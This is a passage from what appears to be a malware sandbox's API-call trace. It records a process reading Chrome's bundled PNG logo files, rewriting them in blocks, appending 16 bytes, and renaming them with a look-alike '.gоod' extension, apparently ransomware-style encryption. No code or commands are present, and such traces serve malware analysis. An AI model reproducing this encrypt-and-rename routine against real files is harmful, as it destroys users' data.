[0145.309] WriteFile (in: hFile=0x808, lpBuffer=0x37c7430*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x37c7430*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0145.310] CloseHandle (hObject=0x808) returned 1 [0145.310] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logobeta.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logobeta.png", lpFilePart=0x0) returned 0x59 [0145.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0145.310] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logobeta.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logobeta.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0145.311] GetFileType (hFile=0x808) returned 0x1 [0145.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0145.311] GetFileType (hFile=0x808) returned 0x1 [0145.311] ReadFile (in: hFile=0x808, lpBuffer=0x37c9830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x37c9830*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0145.345] CloseHandle (hObject=0x808) returned 1 [0145.345] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logobeta.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logobeta.png", lpFilePart=0x0) returned 0x59 [0145.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0145.345] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logobeta.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logobeta.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0145.346] GetFileType (hFile=0x808) returned 0x1 [0145.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0145.346] GetFileType (hFile=0x808) returned 0x1 [0145.346] WriteFile (in: hFile=0x808, lpBuffer=0x37c8560*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x37c8560*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0145.346] CloseHandle (hObject=0x808) returned 1 [0145.346] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logobeta.png", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logobeta.png", lpFilePart=0x0) returned 0x59 [0145.346] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logobeta.png.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logobeta.png.gоod", lpFilePart=0x0) returned 0x5e [0145.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0145.346] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logobeta.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logobeta.png"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x52d8846a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x60a2)) returned 1 [0145.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0145.346] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logobeta.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logobeta.png"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logobeta.png.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logobeta.png.gоod")) returned 1 [0145.347] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logocanary.png", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logocanary.png", lpFilePart=0x0) returned 0x5b [0145.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0145.347] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logocanary.png"), fInfoLevelId=0x0, lpFileInformation=0x3846cd8 | out: lpFileInformation=0x3846cd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51ddf234, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x5741)) returned 1 [0145.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0145.347] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logocanary.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logocanary.png", lpFilePart=0x0) returned 0x5b [0145.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0145.347] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logocanary.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0145.347] GetFileType (hFile=0x808) returned 0x1 [0145.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0145.348] GetFileType (hFile=0x808) returned 0x1 [0145.348] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0145.348] ReadFile (in: hFile=0x808, lpBuffer=0x3847140, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x3847140*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0145.743] CloseHandle (hObject=0x808) returned 1 [0145.743] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logocanary.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logocanary.png", lpFilePart=0x0) returned 0x5b [0145.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0145.743] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logocanary.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0145.744] GetFileType (hFile=0x808) returned 0x1 [0145.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0145.744] GetFileType (hFile=0x808) returned 0x1 [0145.744] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x5741 [0145.744] WriteFile (in: hFile=0x808, lpBuffer=0x36f1580*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x36f1580*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0145.754] CloseHandle (hObject=0x808) returned 1 [0145.754] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logocanary.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logocanary.png", lpFilePart=0x0) returned 0x5b [0145.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0145.754] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logocanary.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0145.754] GetFileType (hFile=0x808) returned 0x1 [0145.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0145.754] GetFileType (hFile=0x808) returned 0x1 [0145.754] ReadFile (in: hFile=0x808, lpBuffer=0x36f49e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x36f49e8*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0147.063] CloseHandle (hObject=0x808) returned 1 [0147.063] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logocanary.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logocanary.png", lpFilePart=0x0) returned 0x5b [0147.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0147.063] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logocanary.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0147.063] GetFileType (hFile=0x808) returned 0x1 [0147.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0147.063] GetFileType (hFile=0x808) returned 0x1 [0147.063] WriteFile (in: hFile=0x808, lpBuffer=0x361d218*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x361d218*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0147.064] CloseHandle (hObject=0x808) returned 1 [0147.064] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logocanary.png", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logocanary.png", lpFilePart=0x0) returned 0x5b [0147.064] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logocanary.png.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logocanary.png.gоod", lpFilePart=0x0) returned 0x60 [0147.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0147.064] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logocanary.png"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x53deb723, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5751)) returned 1 [0147.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0147.064] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logocanary.png"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logocanary.png.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logocanary.png.gоod")) returned 1 [0147.064] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logodev.png", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logodev.png", lpFilePart=0x0) returned 0x58 [0147.065] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0147.065] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logodev.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logodev.png"), fInfoLevelId=0x0, lpFileInformation=0x3be8b30 | out: lpFileInformation=0x3be8b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51df03a4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x60be)) returned 1 [0147.065] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0147.065] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logodev.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logodev.png", lpFilePart=0x0) returned 0x58 [0147.065] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0147.065] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logodev.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logodev.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0147.065] GetFileType (hFile=0x808) returned 0x1 [0147.065] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0147.065] GetFileType (hFile=0x808) returned 0x1 [0147.065] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0147.065] ReadFile (in: hFile=0x808, lpBuffer=0x3be8f88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x3be8f88*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0147.067] CloseHandle (hObject=0x808) returned 1 [0147.067] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logodev.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logodev.png", lpFilePart=0x0) returned 0x58 [0147.067] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0147.067] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logodev.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logodev.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0147.067] GetFileType (hFile=0x808) returned 0x1 [0147.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0147.067] GetFileType (hFile=0x808) returned 0x1 [0147.067] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x60be [0147.067] WriteFile (in: hFile=0x808, lpBuffer=0x3bea8f0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x3bea8f0*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0147.068] CloseHandle (hObject=0x808) returned 1 [0147.068] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logodev.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logodev.png", lpFilePart=0x0) returned 0x58 [0147.068] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0147.068] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logodev.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logodev.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0147.069] GetFileType (hFile=0x808) returned 0x1 [0147.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0147.069] GetFileType (hFile=0x808) returned 0x1 [0147.069] ReadFile (in: hFile=0x808, lpBuffer=0x3becc28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3becc28*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0147.207] CloseHandle (hObject=0x808) returned 1 [0147.207] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logodev.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logodev.png", lpFilePart=0x0) returned 0x58 [0147.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0147.208] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logodev.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logodev.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0147.208] GetFileType (hFile=0x808) returned 0x1 [0147.208] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0147.208] GetFileType (hFile=0x808) returned 0x1 [0147.208] WriteFile (in: hFile=0x808, lpBuffer=0x36b2110*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x36b2110*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0147.208] CloseHandle (hObject=0x808) returned 1 [0147.208] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logodev.png", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logodev.png", lpFilePart=0x0) returned 0x58 [0147.208] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logodev.png.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logodev.png.gоod", lpFilePart=0x0) returned 0x5d [0147.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0147.208] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logodev.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logodev.png"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x53f42cae, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x60ce)) returned 1 [0147.208] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0147.208] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logodev.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logodev.png"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logodev.png.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logodev.png.gоod")) returned 1 [0147.209] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogo.png", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogo.png", lpFilePart=0x0) returned 0x5a [0147.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0147.209] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogo.png"), fInfoLevelId=0x0, lpFileInformation=0x3723b58 | out: lpFileInformation=0x3723b58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51dfc6f4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x1ef3)) returned 1 [0147.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0147.210] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogo.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogo.png", lpFilePart=0x0) returned 0x5a [0147.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0147.210] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0147.210] GetFileType (hFile=0x808) returned 0x1 [0147.210] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0147.210] GetFileType (hFile=0x808) returned 0x1 [0147.210] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0147.210] ReadFile (in: hFile=0x808, lpBuffer=0x3723fc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x3723fc0*, lpNumberOfBytesRead=0x1fbebaf8*=0xef3, lpOverlapped=0x0) returned 1 [0147.402] CloseHandle (hObject=0x808) returned 1 [0148.571] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogo.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogo.png", lpFilePart=0x0) returned 0x5a [0148.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0148.571] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0148.571] GetFileType (hFile=0x630) returned 0x1 [0148.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0148.571] GetFileType (hFile=0x630) returned 0x1 [0148.572] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, 